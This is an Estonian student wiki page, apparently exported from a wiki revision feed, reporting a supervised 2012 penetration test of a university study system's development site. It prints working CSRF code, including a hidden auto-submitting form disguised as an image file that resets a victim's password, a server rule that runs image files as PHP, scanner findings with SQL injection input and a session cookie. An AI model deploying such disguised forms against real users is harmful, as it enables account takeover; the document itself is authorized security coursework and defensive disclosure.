Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47065</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47065"/>
		<updated>2012-03-30T20:50:27Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* 3. päev */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
